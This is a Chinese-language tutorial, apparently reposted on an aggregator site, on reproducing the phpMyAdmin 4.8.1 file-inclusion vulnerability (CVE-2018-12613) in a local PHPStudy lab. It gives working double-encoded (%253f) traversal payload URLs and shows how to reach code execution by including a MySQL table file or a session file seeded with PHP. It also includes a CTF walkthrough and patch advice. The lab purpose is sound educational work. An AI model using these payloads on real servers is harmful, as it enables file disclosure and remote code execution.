当前位置: 首页 > news >正文

用PHPStudy在Windows上复现phpMyAdmin 4.8.1文件包含漏洞(附详细配置与双倍编码绕过技巧)

Windows环境下PHPStudy搭建phpMyAdmin 4.8.1漏洞靶场实战指南

在安全研究领域,漏洞复现是理解漏洞原理和提升实战能力的重要途径。phpMyAdmin作为广泛使用的MySQL管理工具,其历史版本中的文件包含漏洞(CVE-2018-12613)因其典型性和教育意义,成为许多安全爱好者入门Web安全的首选实验案例。本文将手把手指导您在Windows环境下使用PHPStudy快速搭建漏洞环境,并深入剖析漏洞利用的核心技术。

1. 实验环境搭建与避坑指南

1.1 PHPStudy与phpMyAdmin 4.8.1安装

PHPStudy作为Windows平台最便捷的PHP集成环境,极大简化了环境配置流程。以下是具体安装步骤:

  1. 下载组件

    • 从官网获取PHPStudy最新版(推荐v8.1)
    • 下载phpMyAdmin 4.8.1版本压缩包
  2. 部署环境

    # 解压phpMyAdmin到PHPStudy的WWW目录 C:\phpStudy\WWW\phpMyAdmin-4.8.1\
  3. 版本匹配建议

    组件推荐版本兼容性说明
    PHP5.6-7.0避免使用PHP7.2+
    MySQL5.5-5.7确保与phpMyAdmin兼容

注意:若安装后访问出现空白页,需检查PHP错误日志,常见问题是缺少mbstring扩展,在PHPStudy面板中启用即可。

1.2 关键配置项修正

首次登录phpMyAdmin时,会遇到$cfg['blowfish_secret']配置错误提示。这是安全机制的一部分,需要手动修正:

  1. 打开配置文件:

    C:\phpStudy\WWW\phpMyAdmin-4.8.1\libraries\config.default.php
  2. 修改以下参数:

    $cfg['blowfish_secret'] = '此处填入32位以上随机字符串'; // 示例:'a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0'
  3. Session目录权限

    • 确保phpStudy\Extensions\tmp\tmp目录有写入权限
    • 在php.ini中检查session.save_path配置项

2. 漏洞原理深度解析

2.1 漏洞触发条件分析

该文件包含漏洞存在于index.php对target参数的处理流程中,核心验证逻辑如下:

// index.php关键代码片段 if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; }

绕过检查需要同时满足五个条件,其中最关键的是checkPageValidity()函数的验证。该函数存在三重验证机制:

  1. 白名单直接匹配

    $whitelist = array('db_datadict.php', 'sql.php', ...); if (in_array($page, $whitelist)) return true;
  2. 单次URL解码验证

    $_page = mb_substr($page, 0, mb_strpos($page . '?', '?')); if (in_array($_page, $whitelist)) return true;
  3. 双重URL解码验证

    $_page = urldecode($page); $_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?')); if (in_array($_page, $whitelist)) return true;

2.2 双编码绕过技术详解

漏洞利用的关键在于构造特殊的%253f编码:

  1. 编码过程分解

    • 原始字符:?
    • 第一次编码:%3f(服务器自动解码)
    • 第二次编码:%253f(urldecode函数解码)
  2. 验证流程时序

    请求URL: target=db_datadict.php%253f/../../../../etc/passwd → 服务器自动解码:db_datadict.php%3f/../../../../etc/passwd → urldecode函数解码:db_datadict.php?/../../../../etc/passwd → 白名单验证通过(db_datadict.php在白名单中) → 最终包含路径:db_datadict.php?/../../../../etc/passwd

3. 漏洞复现实战操作

3.1 本地文件包含验证

  1. 准备测试文件

    • 在D盘创建测试文件:D:\test\vuln_test.txt
    • 文件内容可包含特殊标记如<<<TEST_FILE>>>
  2. 构造Payload

    http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../D:/test/vuln_test.txt
  3. 结果验证

    • 成功包含时,页面会显示测试文件内容
    • 若失败,检查路径深度(可能需要调整../数量)

3.2 数据库文件包含实现代码执行

  1. 创建测试数据库

    CREATE DATABASE test_vuln; USE test_vuln; CREATE TABLE exploit (code TEXT); INSERT INTO exploit VALUES ('<?php phpinfo(); ?>');
  2. 定位数据库文件

    • MySQL数据文件通常位于:
      C:\phpStudy\Extensions\MySQL5.7.26\data\test_vuln\exploit.MYD
  3. 执行Payload

    http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../phpStudy/Extensions/MySQL5.7.26/data/test_vuln/exploit.MYD

提示:实际环境中,数据库文件可能因存储引擎不同而扩展名各异,InnoDB引擎需查找.ibd文件。

3.3 Session文件包含技巧

  1. 生成Session文件

    • 在phpMyAdmin执行:
      SELECT "<?php system('whoami'); ?>";
  2. 查找Session路径

    • 默认路径:
      C:\phpStudy\Extensions\tmp\tmp\sess_[session_id]
    • 可通过phpinfo()查看session.save_path确认
  3. 包含Session文件

    http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../phpStudy/Extensions/tmp/tmp/sess_abc123def456

4. 高级利用与防护建议

4.1 CTF实战应用案例

以HCTF 2018 Warmup题目为例,漏洞利用流程:

  1. 发现源码提示:

    <!--source.php-->
  2. 审计源码发现文件包含:

    $file = $_GET['file']; include $file;
  3. 构造双编码Payload:

    /source.php?file=source.php%253f/../../../../../ffffllllaaaagggg

4.2 漏洞修复方案

对于仍在使用旧版本phpMyAdmin的环境,建议采取以下防护措施:

  1. 升级方案

    • 立即升级到phpMyAdmin 4.8.3及以上版本
  2. 临时加固

    // 在config.inc.php中添加 $cfg['AllowArbitraryServer'] = false; $cfg['ServerDefault'] = 0;
  3. 服务器配置

    • 设置open_basedir限制目录访问
    • 禁用allow_url_include

在实验结束后,建议立即关闭PHPStudy服务或删除漏洞环境,避免留下安全隐患。对于安全研究者,可将此环境打包为虚拟机镜像,方便后续研究使用。

http://www.jsqmd.com/news/948044/

相关文章:

  • AI工具接入广告平台的72小时实战手册:从API对接到智能出价全链路拆解
  • TRELLIS Text XL高级技巧:10个提升3D模型生成效果的实用方法
  • 如何快速上手crt-animation-terminal-ltx-2.3-lora:5分钟创建复古CRT视频特效
  • 如何3秒破解百度网盘提取码:智能工具的终极效率革命
  • 如何解决DLSS状态监控难题:DLSS Swapper完整配置指南
  • 从ONNX模型到实时音频处理:MOSS-Audio-Tokenizer-Nano-ONNX快速入门指南
  • Python自动化办公:用win32com处理Excel合并单元格的两种实用方法(附完整代码)
  • Matlab线性天线阵列方向图仿真工具包:参数可调、结果可视、零依赖运行
  • 广州财税代办TOP5实测解析:合规与效率双维度对比 - 奔跑123
  • GPT-5是假消息?2024年大模型落地实战指南
  • 深入ELF文件内部:用patchelf工具玩转动态库的DT_RPATH和DT_RUNPATH
  • 从一次httpd部署故障讲起:手把手教你用patchelf和readelf诊断并修复Linux动态库依赖
  • Claude 4.6 Opus推理能力蒸馏实战:Qwen3.5-27B模型优化全流程
  • 用PHPStudy搭建phpMyAdmin 4.8.1靶场,手把手复现那个经典的文件包含漏洞
  • 如何在Android应用中快速集成WaveSideBar:3分钟实现波浪效果索引栏
  • 为什么PVE-VDIClient是企业级虚拟桌面和开源VDI解决方案的最佳选择?[特殊字符]
  • 从混乱到掌控:OBS Studio如何让直播变得像呼吸一样自然
  • 从一次httpd部署故障讲起:深入ELF内部,用patchelf和readelf联手调试动态库加载
  • 主流语言中的哈希表是怎样的?
  • 深度估计新范式:Distill-Any-Depth-Large-hf论文精读与代码复现
  • 新手必看:PSINS工具箱glvf函数详解,从地球参数到全局变量初始化
  • 深入解析TeleChat2.5-35B架构设计:350亿参数的智能实现
  • 5分钟彻底解决C盘爆红!Windows Cleaner终极免费清理工具
  • 终极泰语文本生成模型:gpt2-base-thai如何彻底改变泰国NLP应用
  • 别再为IIS安装报错头疼了!一个PowerShell脚本搞定.NET 3.5和角色服务安装失败
  • 深度解析ZenTimings:AMD Ryzen平台内存时序监控关键技术
  • 告别Windows 7!手把手教你用Mac/Windows搞定鸿蒙HarmonyOS开发环境(附DevEco Studio 2.0.12.201安装避坑指南)
  • OpenCore Legacy Patcher终极指南:让老Mac焕发新生的免费神器
  • 3分钟掌握LaTeX公式转换神器:让数学公式在Word中完美呈现
  • MiniCPM-V-4.6-Thinking:手机端运行的多模态AI模型完全指南